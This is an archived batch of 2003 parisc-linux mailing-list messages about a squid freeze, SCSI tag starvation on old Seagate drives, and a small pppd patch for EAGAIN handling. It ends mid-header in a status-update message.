	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17697

> Now squid work perfectly. I suspect a bug in gcc, what do you think
> about ?

I fixed a hang in the libstdc++ locking code on the weekend.  This
affects gcc 3.3 and later on PA 1.x machines.  Other than that,
there are no reported/known freezes caused by gcc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Tag Starvation on 715/100
Date: Tue, 11 Feb 2003 18:20:13 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <yam9172.666.149231680@mail.club-internet.fr>
References: <3E4922F6.8020206@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622211 21760 80.91.229.3 (22 Nov 2014 02:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 10:19:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay-5m.club-internet.fr (relay-5m.club-internet.fr [194.158.104.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id A31C0482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 10:19:31 -0700 (MST)
Original-Received: from club-internet.fr (f14m-5-74.d1.club-internet.fr [212.195.92.74])
	by relay-5m.club-internet.fr (Postfix) with SMTP id 858B0E07B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 18:19:44 +0100 (CET)
In-Reply-To: <3E4922F6.8020206@bluehash.de>
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17698

Hello

On my 712/80, I could also read the same message but I do not have any
SCSI error. It is running under 2.4.17-pa20.

On 11-fv-03, you wrote:

| > Hi,
| > 
| > today my machine hangs when I tried to do a 'cvs update' for the newest
| > PA/RISC-Kernel. So I pressed the power button to reboot the machine. But
| > now during startup when fsck is running, the scsi-driver gives me an
| > error message, that my harddisc is "suffering from tag starvation".
| > Later the machine crashes. Booting a 2.5.59-kernel is no problem (even
| > it's not possible to login on serial console... ).
| > 
| > Has anybody the same problem and/or can anybody help?
| > 
| > Facts: 715/100, 128 MB, 2 GB Seagate, Kernel 2.4.20-pa22, gcc-3.0.4, 
| > Debian testing.
| > System.map is here: 
| > http://homepages.tu-darmstadt.de/~rscholz/parisc/System.map 
| > <http://homepages.tu-darmstadt.de/%7Erscholz/parisc/System.map>
| > 
| > TIA, Rdiger
| > 

-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Squid freeze
Date: Tue, 11 Feb 2003 18:23:38 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <yam9172.1907.149231680@mail.club-internet.fr>
References: <200302111656.h1BGudvD012174@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622212 21763 80.91.229.3 (22 Nov 2014 02:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 10:22:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay-2m.club-internet.fr (relay-2m.club-internet.fr [194.158.104.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BED8482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 10:22:56 -0700 (MST)
Original-Received: from club-internet.fr (f14m-5-74.d1.club-internet.fr [212.195.92.74])
	by relay-2m.club-internet.fr (Postfix) with SMTP id 6E44B17AD
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 18:22:54 +0100 (CET)
In-Reply-To: <200302111656.h1BGudvD012174@hiauly1.hia.nrc.ca>
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17699

Hello

On 11-fv-03, you wrote:

| >> Now squid work perfectly. I suspect a bug in gcc, what do you think
| >> about ?
| > 
| > I fixed a hang in the libstdc++ locking code on the weekend.  This
| > affects gcc 3.3 and later on PA 1.x machines.  Other than that,
| > there are no reported/known freezes caused by gcc.
| > 
| > Dave

In fact, I did a mistake because I did not resolve the problem by changing
the code but by adding the -X option to command line (it force full debug).

The -v option work without this option because of my change so there is
perhaps a bug somewhere in the code of squid (gcc ? squid ? libc ? don't
know for now).
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Tag Starvation on 715/100
Date: Tue, 11 Feb 2003 12:31:01 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <200302111731.h1BHV1at017679@hiauly1.hia.nrc.ca>
References: <yam9172.666.149231680@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622212 21765 80.91.229.3 (22 Nov 2014 02:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: badmax@club-internet.fr (Bad Max)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 10:31:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08B8C482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 10:31:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1BHV2ot017680;
	Tue, 11 Feb 2003 12:31:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1BHV1at017679;
	Tue, 11 Feb 2003 12:31:01 -0500 (EST)
In-Reply-To: <yam9172.666.149231680@mail.club-internet.fr> from "Bad Max" at Feb 11, 2003 06:20:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17700

I believe the problem is the driver is using too many tags on an old
drive.  You want to cut the number or disable tagged queing in the
driver for this drive.  Grant would know the details but early Seagates
had buggy support for this feature.

> SCSI error. It is running under 2.4.17-pa20.
> 
> On 11-fv-03, you wrote:
> 
> | > Hi,
> | > 
> | > today my machine hangs when I tried to do a 'cvs update' for the newest
> | > PA/RISC-Kernel. So I pressed the power button to reboot the machine. But
> | > now during startup when fsck is running, the scsi-driver gives me an
> | > error message, that my harddisc is "suffering from tag starvation".
> | > Later the machine crashes. Booting a 2.5.59-kernel is no problem (even
> | > it's not possible to login on serial console... ).
> | > 
> | > Has anybody the same problem and/or can anybody help?
> | > 
> | > Facts: 715/100, 128 MB, 2 GB Seagate, Kernel 2.4.20-pa22, gcc-3.0.4, 
> | > Debian testing.
> | > System.map is here: 
> | > http://homepages.tu-darmstadt.de/~rscholz/parisc/System.map 
> | > <http://homepages.tu-darmstadt.de/%7Erscholz/parisc/System.map>
> | > 
> | > TIA, Rdiger
> | > 
> 
> -------
> Bad Max
> ========
> Amiga User
> GNU User
> WWW: perso.club-internet.fr/badmax
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Tag Starvation on 715/100
Date: Tue, 11 Feb 2003 12:52:03 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20030211175203.GA28989@systemhalted>
References: <yam9172.666.149231680@mail.club-internet.fr> <200302111731.h1BHV1at017679@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622212 21768 80.91.229.3 (22 Nov 2014 02:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:12 +0000 (UTC)
Cc: Bad Max <badmax@club-internet.fr>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 10:52:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0D93482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 10:52:11 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18ieZf-0007az-00; Tue, 11 Feb 2003 12:52:03 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Bad Max <badmax@club-internet.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200302111731.h1BHV1at017679@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (87% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17701

> I believe the problem is the driver is using too many tags on an old
> drive.  You want to cut the number or disable tagged queing in the
> driver for this drive.  Grant would know the details but early Seagates
> had buggy support for this feature.

I turn it off on my cluster of 715/50's because the drives of that era
just don't support it properly (e.g. random hardware lockups).

c.



From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Tue, 11 Feb 2003 20:00:06 +0100
Lines: 87
Approved: news@gmane.org
Message-ID: <3E4844100000055D@ocpmta7.freegates.net>
References: <3E481EBE00000086@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622212 21773 80.91.229.3 (22 Nov 2014 02:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 12:00:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E4CF482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 12:00:13 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ifdX-0002S8-00; Tue, 11 Feb 2003 20:00:07 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 11 Feb 2003 20:00:06 +0100
In-Reply-To: <3E481EBE00000086@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17702

Hi all,

>
>>
>>On Mon, Feb 10, 2003 at 08:13:04AM -0800, Randolph Chung wrote:
>>> > All seems to work fine, never the less I notice some pppd messages
which
>>> > I do not noticed on my i386 Debian GNU/Linux box:
>>> > ...
>>> > Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
>>> > Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily
>>unavailable
>>> 
>>> this probably comes from apps that assume EAGAIN==EWOULDBLOCK. we need
>>> to probably fix this in glibc.... let's add it to Carlos' todo list!
:-)
>>
>>It's already in my TODO :)
>>
>>-- snip --
>>- EWOULDBLOCK emulation
>>        = Is EWOULDBLOCK emulation required?
>>        = What happens if we alias EWOULDBLOCK as EAGAIN
>>        = from the kernel hearders?
>>        - Break HPUX compat?
>>-- snip --
>>
>>As JDA notes we still have broken atomic functions in atomicity. Which
>>we are planning to fix with a light weight syscall.
>>
Awaiting this Carlos work, I suggest following workaround:

--- ppp-2.4.1.uus.orig/pppd/sys-linux.c
+++ ppp-2.4.1.uus/pppd/sys-linux.c
@@ -929,7 +933,7 @@
 	    fd = ppp_dev_fd;
     }
     if (write(fd, p, len) < 0) {
-	if (errno == EWOULDBLOCK || errno == ENOBUFS
+	if (errno == EWOULDBLOCK || errno == EAGAIN || errno == ENOBUFS
 	    || errno == ENXIO || errno == EIO || errno == EINTR)
 	    warn("write: warning: %m (%d)", errno);
 	else
@@ -993,7 +997,8 @@
     nr = -1;
     if (ppp_fd >= 0) {
 	nr = read(ppp_fd, buf, len);
-	if (nr < 0 && errno != EWOULDBLOCK && errno != EIO && errno != EINTR)
+	if (nr < 0 && errno != EWOULDBLOCK && errno !=EAGAIN \
+                   && errno != EIO && errno != EINTR)
 	    error("read: %m");
 	if (nr < 0 && errno == ENXIO)
 	    return 0;
@@ -1001,7 +1006,8 @@
     if (nr < 0 && new_style_driver && ifunit >= 0) {
 	/* N.B. we read ppp_fd first since LCP packets come in there. */
 	nr = read(ppp_dev_fd, buf, len);
-	if (nr < 0 && errno != EWOULDBLOCK && errno != EIO && errno != EINTR)
+	if (nr < 0 && errno != EWOULDBLOCK && errno !=EAGAIN \
+                   && errno != EIO && errno != EINTR)
 	    error("read /dev/ppp: %m");
 	if (nr < 0 && errno == ENXIO)
 	    return 0;
@@ -1035,7 +1041,7 @@
     if (n == 0)
 	fatal("eof on loopback");
 
-    if (errno != EWOULDBLOCK)
+    if (errno != EWOULDBLOCK && errno != EAGAIN)
 	fatal("read from loopback: %m(%d)", errno);
 
     return rv;

It seems to me to avoid to much annoying messages.

Do you think I woul have to open a pr near debian maintainer pkg?

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Squid freeze
Date: Tue, 11 Feb 2003 20:15:30 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <3E48441000000584@ocpmta7.freegates.net>
References: <yam9172.1240.149231680@mail.club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622213 21776 80.91.229.3 (22 Nov 2014 02:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:13 +0000 (UTC)
To: "Bad Max" <badmax@club-internet.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 12:15:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5726482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 12:15:34 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ifsT-0001v2-00; Tue, 11 Feb 2003 20:15:33 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 11 Feb 2003 20:15:30 +0100
In-Reply-To: <yam9172.1240.149231680@mail.club-internet.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17703


Hi,
>
>I've tried to run squid on my PA box under Debian 3.0. But squid freeze
>at launch : it do nothing, it is simply frozen, it is not possible to parse
>any line command (squid -v print nothing).
>
>I did a dist-upgrade but nothing change. So I get the lastest version
>of squid 2.5 and compiled it. Same symptom, squid is frozen. I did a
>little modification to src/main.c in squid, in the main() function : I
>took mainParseOptions() and put it in first of main() (it was executed
>later after several others miscellaneous functions).
>
Don't do this.

'dmesg' would inform you too that squid make a segfault?

I already report this problem in this ml and in Debian bug report (sorry
I do not remember # but it is easy to find back).

The problem was in fact due to a bad update of libpam-modules and a modification
in /etc/security/limits.conf which didn't occurs by default. You would found
tree line:
*       hard    core      0
*       hard    rss       5000
*       hard    nproc     20

which you can remove (what the update should do if you answer Y at this time)

Now, you have to quit completely your loging; login again and you should
now be able to use squid.


hth,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bad Max <badmax@club-internet.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Squid freeze
Date: Tue, 11 Feb 2003 22:54:09 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <yam9172.490.149231680@mail.club-internet.fr>
References: <3E48441000000584@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622213 21780 80.91.229.3 (22 Nov 2014 02:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 14:53:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay-4v.club-internet.fr (relay-4v.club-internet.fr [194.158.96.115])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54A67482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 14:53:28 -0700 (MST)
Original-Received: from club-internet.fr (f06v-7-27.d1.club-internet.fr [212.194.114.27])
	by relay-4v.club-internet.fr (Postfix) with SMTP id 8452F1883
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Feb 2003 22:53:25 +0100 (CET)
In-Reply-To: <3E48441000000584@ocpmta7.freegates.net>
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17704

Hi,

Le 11-fv-03, Joel Soete a crit :

[snip]
| > Don't do this.
| > 
| > 'dmesg' would inform you too that squid make a segfault?
| > 
| > I already report this problem in this ml and in Debian bug report (sorry
| > I do not remember # but it is easy to find back).
| > 
| > The problem was in fact due to a bad update of libpam-modules and a
| > modification in /etc/security/limits.conf which didn't occurs by
| > default. You would found tree line:
| > * hard core 0
| > * hard rss 5000
| > * hard nproc 20
| > 
| > which you can remove (what the update should do if you answer Y at this
| > time)
| > 
| > Now, you have to quit completely your loging; login again and you should
| > now be able to use squid.
| > 
| > 
| > hth,
| >    Joel
| > 

Sorry but there are no messages at all about squid in dmesg. I checked
/etc/security/limits.conf and the three lines you indicated are already
removed.

I repeat : I must pass the option -X (force full debug) to have squid
working. I will spend time tomorow to locate what seems to be at the
origin of this lock.
-------
Bad Max
========
Amiga User
GNU User
WWW: perso.club-internet.fr/badmax



From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 status update 2003-02-11
Date: Tue, 11 Feb 2003 23:03:54 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <20030211230354.T5992@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622213 21784 80.91.229.3 (22 Nov 2014 02:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 11 16:03:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E523482D
	for <parisc-linux@parisc-linux.org>; Tue, 11 Feb 2003 16:03:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18ijRS-0007vd-00
	for parisc-linux@parisc-linux.org; Tue, 11 Feb 2003 23:03:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
